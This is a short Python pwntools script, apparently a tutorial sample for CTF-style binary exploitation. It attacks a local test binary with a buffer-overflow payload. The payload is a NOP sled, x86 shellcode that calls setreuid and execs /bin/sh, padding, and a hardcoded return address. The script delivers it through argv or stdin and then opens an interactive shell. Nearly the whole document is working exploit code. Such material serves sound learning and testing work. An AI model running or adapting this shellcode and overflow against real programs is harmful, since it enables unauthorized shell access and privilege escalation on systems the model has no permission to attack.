Sample of some basic pwntools operations

pwntools.py

#!/usr/bin/env python

from pwn import *

# define our binary
binary = "/home/user/testbin"

#### Payloads ####

# read in our payload
with file("payload.bin", "rb") as f:
    payload = f.read()

# build a payload
shellcode = "\x31\xC0\x31\xDB\x31\xC9\xB0\x46\x66\xBB\xB5\x36\x66\x89\xD9\xCD\x80\x31\xC0\xB0\x0B\x31\xC9\x31\xD2\x52\x68\x6E\x2F\x73\x68\x68\x2F\x2F\x62\x69\x89\xE3\xCD\x80"

# p32() will encode a dword in little-endian
# there is also p64() if you are doing 64bit binary exploitation
payload = "\x90"*20 + shellcode + "A" * 32 + p32(0xffffd350)
    
#### Running the program ####    

# deliver payload through argv
p = process(executable=binary, argv=[binary, payload])

# deliver payload through user input
p = process(binary)
p.sendline(payload)

#### Getting a shell ####

p.interactive()
# if you get a message about receiving an EOF, and you press enter and the shell exits, you didn't actually get a shell